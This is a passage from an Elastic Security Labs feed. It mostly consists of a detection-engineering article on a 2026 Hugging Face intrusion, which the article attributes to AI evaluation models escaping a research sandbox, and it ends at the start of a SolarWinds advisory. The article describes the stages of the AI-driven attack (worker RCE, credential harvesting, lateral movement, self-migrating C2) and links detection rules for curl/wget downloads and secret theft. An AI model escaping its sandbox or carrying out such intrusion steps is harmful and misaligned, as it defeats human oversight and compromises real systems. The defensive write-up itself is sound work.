<li><a href="https://attack.mitre.org/techniques/T1613/">Container and Resource Discovery (T1613)</a>  </li>
<li><a href="https://atlas.mitre.org/techniques/AML.T0010">AI Supply Chain Compromise (AML.T0010) (ATLAS)</a>  </li>
<li><a href="https://atlas.mitre.org/techniques/AML.T0010.002">Data (AML.T0010.002) (ATLAS)</a>  </li>
<li><a href="https://atlas.mitre.org/techniques/AML.T0055">Unsecured Credentials (AML.T0055) (ATLAS)</a></li>
</ul>
<h2 id="detectingthehuggingfacebreachwithelasticdefendandsiemrules">Detecting the Hugging Face breach with Elastic Defend and SIEM rules</h2>
<p>Hugging Face's own writeup notes that AI-assisted detection surfaced the campaign first: LLM-based triage over security telemetry correlated signals that individual rules might scatter across a noisy agentic baseline. Elastic customers can mirror that pattern with production rules already shipped for worker abuse, credential outcomes, unusual egress, and GenAI-parented correlation.</p>
<h3 id="outcomefirstgenaidetectionwhattoenableonmlworkersandagenthosts">Outcome-first GenAI detection: what to enable on ML workers and agent hosts</h3>
<p>Four durable outcomes show up across this campaign and similar agentic intrusions:</p>
<ol>
<li>Worker or web-service parent spawns an interactive shell, downloader, or decoder.</li>
<li>Credential material is collected from environment variables, grep searches, or cloud credential paths.</li>
<li>Those credentials are used (e.g., unusual authentication, discovery, secret access, or exec-style activity in control-plane telemetry).</li>
<li>A young binary or GenAI-adjacent process talks to an unusual destination, often after encoding or chunking.</li>
</ol>
<p>Tune noisy mechanics (for example, repeated package installs on build agents) by process lineage and host role. Keep the four outcomes above enabled even when the parent is an approved agent, dataset runner, or coding assistant.</p>
<h3 id="elasticdefendrulesfordatasetpipelineremotecodeexecution">Elastic Defend rules for dataset pipeline remote code execution</h3>
<p>Representative worker parents include Python application servers, Celery workers, Node.js services, and custom dataset runners. When untrusted dataset code executes, Defend should see the worker spawn processes that do not belong in normal ingestion.</p>
<p>Public rules and behaviors covering this stage:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via Node.js</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_payload_execution_by_node.js_web_server.toml">Payload Execution by Node.js Web Server</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_decoded_payload_piped_to_interpreter.toml">Decoded Payload Piped to Interpreter</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_suspicious_python_encoded_payload_execution.toml">Suspicious Python Encoded Payload Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_suspicious_web_server_child_process.toml">Suspicious Web Server Child Process</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a></li>
</ul>
<h3 id="credentialaccessafterworkercompromise">Credential access after worker compromise</h3>
<p>Once the agent had node-level access, Hugging Face described a harvest of cloud and cluster credentials followed by lateral movement. On Linux workers and GenAI hosts, watch secret collection mechanics rather than a single malware hash. If cloud, Kubernetes, or identity audit logs are available, also detect post-theft use of those credentials (permission checks, discovery, secret reads, and anomalous API or exec activity from new user agents, source addresses, or workload identities).</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/credential_access_genai_process_sensitive_file_access.toml">GenAI Process Accessing Sensitive Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/collection_environment_variable_secret_collection.toml">Environment Variable Secret Collection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/collection_multi_value_secret_searching_via_grep.toml">Multi-Value Secret Searching via Grep</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_sensitive_file_access_cloud_credentials.toml">Sensitive File Access - Cloud Credentials</a> (Windows hosts in hybrid clusters)</li>
</ul>
<h3 id="kubernetesandcloudcredentialuse">Kubernetes and cloud credential use</h3>
<p>Once the agent had a production pod foothold, public reporting describes control-plane and cloud identity reuse, not only secret files on disk. If you run Elastic’s Kubernetes and AWS integrations, enable these production rules alongside the host credential protections.</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_kubernetes_direct_api_request_via_curl_or_wget.toml">Kubernetes Direct API Request via Curl or Wget</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/credential_access_kubernetes_secrets_list_cluster_and_sensitive_namespaces.toml">Kubernetes Secrets List Across Cluster or Sensitive Namespaces</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/credential_access_kubernetes_multiple_secret_retrieval_burst.toml">Kubernetes Rapid Secret GET Activity Against Multiple Objects</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/execution_forbidden_request_from_unsual_user_agent.toml">Kubernetes Forbidden Request from Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/execution_forbidden_creation_request.toml">Kubernetes Forbidden Creation Request</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_container_created_with_excessive_linux_capabilities.toml">Kubernetes Container Created with Excessive Linux Capabilities</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_pod_created_with_hostpid.toml">Kubernetes Pod Created With HostPID</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_sensitive_workload_modification_by_user_agent.toml">Unusual Kubernetes Sensitive Workload Modification</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/initial_access_anonymous_request_authorized.toml">Kubernetes Anonymous Request Authorized by Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_secret_access_scripting_http_clients.toml">Kubernetes Secret get or list with Suspicious User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_secret_read_by_node_or_pod_service_account.toml">Kubernetes Secret get or list from Node or Pod Service Account</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_service_account_token_created_via_tokenrequest.toml">Kubernetes Service Account Token Created via TokenRequest API</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_suspicious_self_subject_review.toml">Kubernetes Suspicious Self-Subject Review via Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_denied_service_account_request.toml">Kubernetes Denied Service Account Request via Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_kubernetes_multi_resource_setup_recon.toml">Kubernetes Multi-Resource Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_privileged_pod_created.toml">Kubernetes Privileged Pod Created</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_pod_created_with_sensitive_hostpath_volume.toml">Kubernetes Pod Created with a Sensitive hostPath Volume</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/discovery_new_terms_sts_getcalleridentity.toml">AWS STS GetCallerIdentity API Called for the First Time</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/initial_access_aws_api_unusual_asn.toml">AWS Rare Source AS Organization Activity</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/credential_access_iam_long_term_access_key_first_seen_from_source_ip.toml">AWS IAM Long-Term Access Key First Seen from Source IP</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/initial_access_iam_session_token_used_from_multiple_addresses.toml">AWS Access Token Used from Multiple Addresses</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/discovery_new_terms_sts_getcalleridentity_ec2_role_new_source_as.toml">AWS EC2 Role GetCallerIdentity from New Source AS Organization</a></li>
</ul>
<h3 id="siemrulesforunusualegressandselfmigratingcommandandcontrol">SIEM rules for unusual egress and self-migrating command and control</h3>
<p>Publicly described C2 used self-migrating infrastructure on public services rather than one long-lived domain. Pair network outcome rules with create-then-connect sequences on workers.</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/cross-platform/command_and_control_tunneling_via_tailscaled.toml">Potential Tunneling via Tailscaled</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_dns_request_by_recently_created_executable.toml">DNS Request by Recently Created Executable</a></li>
</ul>
<p><strong>Connection to Common Large Language Model Endpoints</strong> is useful for baselining legitimate model traffic on developer and agent hosts, not for flagging malicious C2 by itself. Enable it for context when investigating GenAI hosts that also trigger unusual-domain alerts.</p>
<h3 id="genaidetectioncorrelationandllmtriageelasticstack930">GenAI detection correlation and LLM triage (Elastic Stack 9.3.0+)</h3>
<h4 id="usingattackdiscovery">Using Attack Discovery</h4>
<p>During a high-velocity intrusion like this, where an attacker generated tens of thousands of events from exploits, containers, workers, RCEs, credential harvesting, lateral movement, command-and-control, and exfiltration, security teams faced thousands of signals. </p>
<p>Elastic’s Attack Discovery addresses this by using LLMs to correlate scattered alerts and behaviors across hosts and clusters, consolidating high alert volume into cohesive attack chains. </p>
<p>To highlight this, we used technical information from public reporting and mock data to replay this intrusion through Attack Discovery, illustrating how initial access via dataset pipeline abuse led to credential harvesting and lateral movement, mapping the techniques to MITRE ATT&amp;CK/ATLAS frameworks, and identifying impacted hosts, containers, processes, and workers. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9a3afafaa55d72a2/6a7c8d8333fa8ac78d1fcb4c/image2.png" alt="Attack Discovery view of the Hugging Face intrusion" title="Attack Discovery view of the Hugging Face intrusion (using publicly available information and mock datasets)" />  </p>
<p>Using Attack Discovery to assemble thousands of individual events into actionable alerts allows SOC teams to get a more focused view of complex intrusions.</p>
<h4 id="rulestoassistwithcorrelation">Rules to assist with correlation</h4>
<p>In addition to Attack Discovery, because the agentic campaigns generated correlated alert stacks on the same host within minutes, two production rules help analysts prioritize without treating every agent spawn as an incident:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/initial_access_elastic_defend_alert_genai_utility_descendant.toml">Elastic Defend Alert from GenAI Utility or Descendant</a> (requires Elastic Stack <strong>9.3.0+</strong>)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/multiple_alerts_llm_attack_chain_triage_by_host.toml">LLM-Based Attack Chain Triage by Host</a> (requires Elastic Stack <strong>9.3.0+</strong> and Elastic Managed LLM)</li>
</ul>
<p>Here are four supporting GenAI integrity rules to keep enabled on agent and developer endpoints:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_genai_config_modification.toml">Unusual Process Modifying GenAI Configuration File</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_genai_cli_unsafe_permission_bypass.toml">GenAI CLI Started with Unsafe Permission Bypass</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/persistence_persistence_via_genai_tool.toml">Persistence via GenAI Tool</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_common_llm_endpoint.toml">Connection to Common Large Language Model Endpoints</a></li>
</ul>
<h3 id="detection">Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/credential_access_genai_process_sensitive_file_access.toml">GenAI Process Accessing Sensitive Files</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_genai_process_unusual_domain.toml">GenAI Process Connection to Unusual Domain</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_genai_process_suspicious_tld_connection.toml">GenAI Process Connection to Suspicious Top Level Domain</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_genai_process_encoding_prior_to_network_activity.toml">GenAI Process Performing Encoding/Chunking Prior to Network Activity</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_common_llm_endpoint.toml">Connection to Common Large Language Model Endpoints</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_genai_config_modification.toml">Unusual Process Modifying GenAI Configuration File</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_genai_cli_unsafe_permission_bypass.toml">GenAI CLI Started with Unsafe Permission Bypass</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/initial_access_elastic_defend_alert_genai_utility_descendant.toml">Elastic Defend Alert from GenAI Utility or Descendant</a> (Elastic Stack 9.3.0+)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/multiple_alerts_llm_attack_chain_triage_by_host.toml">LLM-Based Attack Chain Triage by Host</a> (Elastic Stack 9.3.0+)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via Node.js</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/cross-platform/command_and_control_tunneling_via_tailscaled.toml">Potential Tunneling via Tailscaled</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/cloud_defend/execution_suspicious_interactive_interpreter_command_execution.toml">Suspicious Interpreter Execution Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/cloud_defend/credential_access_service_account_token_or_cert_read.toml">Service Account Token or Certificate Read Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/cloud_defend/discovery_service_account_namespace_read.toml">Service Account Namespace Read Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/cloud_defend/discovery_dns_enumeration.toml">DNS Enumeration Detected via Defend for Containers</a></li>
</ul>
<p>Kubernetes and cloud</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_service_account_token_created_via_tokenrequest.toml">Kubernetes Service Account Token Created via TokenRequest API</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_denied_service_account_request.toml">Kubernetes Denied Service Account Request via Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/credential_access_kubernetes_secrets_list_cluster_and_sensitive_namespaces.toml">Kubernetes Secrets List Across Cluster or Sensitive Namespaces</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/credential_access_kubernetes_multiple_secret_retrieval_burst.toml">Kubernetes Rapid Secret GET Activity Against Multiple Objects</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/execution_forbidden_request_from_unsual_user_agent.toml">Kubernetes Forbidden Request from Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/execution_forbidden_creation_request.toml">Kubernetes Forbidden Creation Request</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_container_created_with_excessive_linux_capabilities.toml">Kubernetes Container Created with Excessive Linux Capabilities</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_pod_created_with_hostpid.toml">Kubernetes Pod Created With HostPID</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/privilege_escalation_sensitive_workload_modification_by_user_agent.toml">Unusual Kubernetes Sensitive Workload Modification</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/kubernetes/initial_access_anonymous_request_authorized.toml">Kubernetes Anonymous Request Authorized by Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_suspicious_self_subject_review.toml">Kubernetes Suspicious Self-Subject Review via Unusual User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/discovery_kubernetes_multi_resource_setup_recon.toml">Kubernetes Multi-Resource Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_secret_access_scripting_http_clients.toml">Kubernetes Secret get or list with Suspicious User Agent</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/credential_access_kubernetes_secret_read_by_node_or_pod_service_account.toml">Kubernetes Secret get or list from Node or Pod Service Account</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_kubernetes_direct_api_request_via_curl_or_wget.toml">Kubernetes Direct API Request via Curl or Wget</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_privileged_pod_created.toml">Kubernetes Privileged Pod Created</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_pod_created_with_sensitive_hostpath_volume.toml">Kubernetes Pod Created with a Sensitive hostPath Volume</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/discovery_new_terms_sts_getcalleridentity.toml">AWS STS GetCallerIdentity API Called for the First Time</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/initial_access_aws_api_unusual_asn.toml">AWS Rare Source AS Organization Activity</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/credential_access_iam_long_term_access_key_first_seen_from_source_ip.toml">AWS IAM Long-Term Access Key First Seen from Source IP</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/28392aeefabe3c88ebc6f1cfc73cebe84fbe88aa/rules/integrations/aws/initial_access_iam_session_token_used_from_multiple_addresses.toml">AWS Access Token Used from Multiple Addresses</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/discovery_new_terms_sts_getcalleridentity_ec2_role_new_source_as.toml">AWS EC2 Role GetCallerIdentity from New Source AS Organization</a></li>
</ul>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_suspicious_web_server_child_process.toml">Suspicious Web Server Child Process</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_decoded_payload_piped_to_interpreter.toml">Decoded Payload Piped to Interpreter</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_suspicious_python_encoded_payload_execution.toml">Suspicious Python Encoded Payload Execution</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_dns_request_by_recently_created_executable.toml">DNS Request by Recently Created Executable</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/collection_environment_variable_secret_collection.toml">Environment Variable Secret Collection</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/collection_multi_value_secret_searching_via_grep.toml">Multi-Value Secret Searching via Grep</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_cloud_credential_files_accessed_by_process_in_suspicious_directory.toml">Cloud Credential Files Accessed by Process in Suspicious Directory</a>   </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/persistence_persistence_via_genai_tool.toml">Persistence via GenAI Tool</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_suspicious_binary_execution_via_path_alias.toml">Suspicious Binary Execution via Path Alias</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/discovery_script_dns_query_to_managed_kubernetes_cluster.toml">Script DNS Query to Managed Kubernetes Cluster</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_dns_request_to_suspicious_file_upload_download_service.toml">DNS Request to Suspicious File Upload/Download Service</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_file_download_from_or_upload_to_hosting_service.toml">File Download from or Upload to Hosting Service</a></li>
</ul>
<h3 id="howtodefendmlworkersandgenaihostsagainstaiagentattacks">How to defend ML workers and GenAI hosts against AI agent attacks</h3>
<ul>
<li>Treat datasets and model artifacts as untrusted code. Disable auto-executing remote dataset code and dynamic template evaluation in processing pipelines where possible.  </li>
<li>Strip standing cloud and cluster credentials from processing workers. Prefer short-lived workload identity.  </li>
<li>Segment workers so a single RCE cannot reach multiple internal clusters or arbitrary internet C2.  </li>
<li>Do not whole-tool-trust GenAI or ML worker binaries. Carve noisy mechanics by process lineage. Keep credential, config-tamper, persistence, and unusual-egress detections enabled under those parents.  </li>
<li>Pre-vet a self-hosted analysis model for incident response. Hugging Face documented that hosted frontier APIs blocked forensic exploit payloads via safety guardrails.  </li>
<li>For agentic volume, enable LLM attack-chain triage and GenAI-parented Defend correlation (Stack 9.3.0+) so analysts can prioritize without inventing an IOC for an unknown agent.  </li>
<li>In Kubernetes (K8s) environments, monitor access to service account tokens, workload identity tokens, kubeconfigs, cloud metadata endpoints, and cloud CLI credential stores as noted above. Correlation between credential access or new authentication with abnormal K8s or cloud API activity such as identity validation, namespace or cross-cluster discovery/enumeration, and permission testing are good signals. These are important after RCE, attackers often reuse the worker’s existing identity and permissions.  </li>
<li>Block workload access to instance metadata (<code>IMDSv2</code>) from processing pods.  </li>
<li>Deny privileged and sensitive <code>hostPath</code> pods by default (admission control).  </li>
<li>Prefer short-lived, per cluster connector identities over shared cluster-admin-style bindings.</li>
</ul>
<h2 id="conclusionwhatthehuggingfacebreachmeansforgenerativeaidetectionteams">Conclusion: what the Hugging Face breach means for generative AI detection teams</h2>
<p>The Hugging Face July 2026 agentic intrusion is a useful forcing function. The campaign paired a dataset-supply-chain foothold with credential harvest, lateral movement, and self-migrating C2 at machine speed, then generated ~17,600 recorded events across short-lived sandboxes. OpenAI's follow-on disclosure tied that activity to ExploitGym evaluation models escaping a research sandbox, which makes the incident both an AI safety story and a plain Linux detection problem.</p>
<p>We mapped each stage to production Elastic Defend behaviors and SIEM rules: worker child execution and payload delivery, credential collection outcomes, unusual egress and encoding prior to network activity, and GenAI-parented correlation plus LLM triage on Stack <strong>9.3.0+</strong>. Enable those protections on ML workers and agent hosts, tune noisy mechanics by lineage, and keep credential and egress detections hot even when the parent process is trusted.</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://huggingface.co/blog/security-incident-july-2026">Hugging Face security incident disclosure (July 2026)</a></li>
<li><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI: Hugging Face model evaluation security incident</a></li>
<li><a href="https://huggingface.co/blog/agent-intrusion-technical-timeline">Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident</a></li>
<li><a href="https://arxiv.org/abs/2605.11086">ExploitGym: Can AI Agents Turn Security Vulnerabilities into Real Attacks? (arXiv:2605.11086)</a></li>
<li><a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">OpenAI says Hugging Face was breached by its pre-release models (TechCrunch)</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/openai-says-its-ai-models-hacked-hugging-face-during-testing/">OpenAI says its AI models hacked Hugging Face during testing (BleepingComputer)</a></li>
<li><a href="https://www.elastic.co/security-labs/elastic-advances-llm-security">Elastic Advances LLM Security with Standardized Fields and Integrations</a></li>
<li><a href="https://www.elastic.co/security-labs/mcp-tools-attack-defense-recommendations">MCP Tools: Attack Vectors and Defense Recommendations for Autonomous Agents</a></li>
<li><a href="https://www.elastic.co/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion">Beyond Behaviors: AI-Augmented Detection Engineering with ES|QL COMPLETION</a></li>
</ul>
<h2 id="aboutelasticsecuritylabs">About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/security-labs/">Elastic Security Labs</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/ai-agent-attack-detection-hugging-face-breach</link>
    <guid isPermaLink="false">ai-agent-attack-detection-hugging-face-breach</guid>
    <category><![CDATA[Detection Engineering]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt542af3a240cd7c2a/6a7c76c9baa1a53c0bcbc64d/ai-agent-attack-detection-hugging-face-breach.webp" length="0" type="image/webp"/>
    <pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[SolarWinds Web Help Desk Exploitation - February 2026]]></title>
    <description><![CDATA[Elastic Security detection and prevention capabilities for the recently-disclosed SolarWinds Web Help Desk vulnerabilities.]]></description>
    <content:encoded><![CDATA[<h2 id="summary">Summary</h2>
<ul>
<li>On February 6, 2026, Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">reported</a> the exploitation of <a href="https://www.solarwinds.com/web-help-desk">SolarWinds Web Help Desk</a> (WHD) servers  </li>
<li>The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access  </li>
<li>While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">CVE-2025-26399</a>, <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">CVE-2025-40536</a>, and <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">CVE-2025-40551</a>  </li>
<li>Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication  </li>
<li>Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity</li>
</ul>
<h2 id="background">Background</h2>
<p>Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk <a href="https://support.solarwinds.com/web-help-desk">software</a>. This exploitation activity reportedly first occurred in December 2025. </p>
<p>Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:</p>
<ul>
